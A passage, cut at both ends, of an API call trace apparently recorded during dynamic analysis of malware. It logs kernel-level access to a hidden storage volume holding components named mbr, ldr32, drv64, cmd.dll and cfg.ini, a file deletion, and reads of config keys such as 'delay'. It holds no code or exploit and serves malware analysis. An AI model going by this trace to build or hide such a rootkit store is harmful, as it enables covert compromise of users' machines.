[0119.669] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.669] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.669] KeLeaveCriticalRegion () [0119.669] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.669] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.669] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.669] KeEnterCriticalRegion () [0119.669] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.669] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.669] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.669] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.669] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.669] IdePortDispatch () returned 0x103 [0119.669] KeWaitForMutexObject () returned 0x0 [0119.669] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.669] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.669] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.669] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.669] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.669] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.669] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.669] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.669] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.669] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.669] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.670] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.670] KeLeaveCriticalRegion () [0119.670] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.670] ReleaseMutex (hMutex=0x100) returned 1 [0119.670] Sleep (dwMilliseconds=0x2bf20) [0119.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a884cd0, dwHighDateTime=0x1d24fa4)) [0119.676] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.676] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.676] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.676] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.676] KeEnterCriticalRegion () [0119.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.676] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.676] IdePortDispatch () returned 0x103 [0119.676] KeWaitForMutexObject () returned 0x0 [0119.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.676] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.676] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.676] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.676] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.676] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d67e0 [0119.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.676] KeLeaveCriticalRegion () [0119.676] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.676] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.676] KeEnterCriticalRegion () [0119.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.676] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.677] KeLeaveCriticalRegion () [0119.677] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.677] KeEnterCriticalRegion () [0119.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.677] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.677] IdePortDispatch () returned 0x103 [0119.677] KeWaitForMutexObject () returned 0x0 [0119.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.677] KeLeaveCriticalRegion () [0119.677] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.677] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.677] KeEnterCriticalRegion () [0119.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800345f000 [0119.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.677] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.677] IdePortDispatch () returned 0x103 [0119.677] KeWaitForMutexObject () returned 0x0 [0119.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.677] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.677] IdePortDispatch () returned 0x103 [0119.678] KeWaitForMutexObject () returned 0x0 [0119.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.678] KeLeaveCriticalRegion () [0119.678] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.678] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.678] KeEnterCriticalRegion () [0119.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.678] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.678] KeLeaveCriticalRegion () [0119.678] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.678] KeEnterCriticalRegion () [0119.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.678] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.678] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.678] KeLeaveCriticalRegion () [0119.678] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.678] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.678] KeEnterCriticalRegion () [0119.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.678] ExFreePoolWithTag (P=0xfffffa80039d67e0, Tag=0x0) [0119.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.679] KeLeaveCriticalRegion () [0119.679] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.679] ReleaseMutex (hMutex=0xf0) returned 1 [0119.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.679] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.679] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.679] KeEnterCriticalRegion () [0119.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.679] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.679] IdePortDispatch () returned 0x103 [0119.679] KeWaitForMutexObject () returned 0x0 [0119.679] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.679] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.679] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.679] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.679] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.679] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda340 [0119.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.679] KeLeaveCriticalRegion () [0119.679] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.679] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.679] KeEnterCriticalRegion () [0119.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.679] KeLeaveCriticalRegion () [0119.679] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.679] KeEnterCriticalRegion () [0119.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.679] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.679] IdePortDispatch () returned 0x103 [0119.680] KeWaitForMutexObject () returned 0x0 [0119.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.680] KeLeaveCriticalRegion () [0119.680] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.680] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.680] KeEnterCriticalRegion () [0119.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.680] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003460000 [0119.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.680] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.680] IdePortDispatch () returned 0x103 [0119.680] KeWaitForMutexObject () returned 0x0 [0119.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.680] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.680] IdePortDispatch () returned 0x103 [0119.680] KeWaitForMutexObject () returned 0x0 [0119.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.681] KeLeaveCriticalRegion () [0119.681] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.681] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.681] KeEnterCriticalRegion () [0119.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.681] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.681] KeLeaveCriticalRegion () [0119.681] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.681] KeEnterCriticalRegion () [0119.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.681] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.681] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.681] KeLeaveCriticalRegion () [0119.681] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.681] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.681] KeEnterCriticalRegion () [0119.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.681] ExFreePoolWithTag (P=0xfffffa8003bda340, Tag=0x0) [0119.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.681] KeLeaveCriticalRegion () [0119.681] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.681] ReleaseMutex (hMutex=0xf0) returned 1 [0119.681] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.681] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.681] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.682] KeEnterCriticalRegion () [0119.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.682] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.682] IdePortDispatch () returned 0x103 [0119.682] KeWaitForMutexObject () returned 0x0 [0119.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.682] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.682] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.682] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.682] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.682] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcad60 [0119.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.682] KeLeaveCriticalRegion () [0119.682] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.682] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.682] KeEnterCriticalRegion () [0119.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.682] KeLeaveCriticalRegion () [0119.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.682] KeEnterCriticalRegion () [0119.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.682] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.682] IdePortDispatch () returned 0x103 [0119.682] KeWaitForMutexObject () returned 0x0 [0119.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.683] KeLeaveCriticalRegion () [0119.683] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.683] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.683] KeEnterCriticalRegion () [0119.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003461000 [0119.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.683] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.683] IdePortDispatch () returned 0x103 [0119.683] KeWaitForMutexObject () returned 0x0 [0119.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.683] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.683] IdePortDispatch () returned 0x103 [0119.683] KeWaitForMutexObject () returned 0x0 [0119.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.683] KeLeaveCriticalRegion () [0119.683] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.684] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.684] KeEnterCriticalRegion () [0119.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.684] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.684] KeLeaveCriticalRegion () [0119.684] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.684] KeEnterCriticalRegion () [0119.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.684] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.684] FsRtlFastUnlockAll 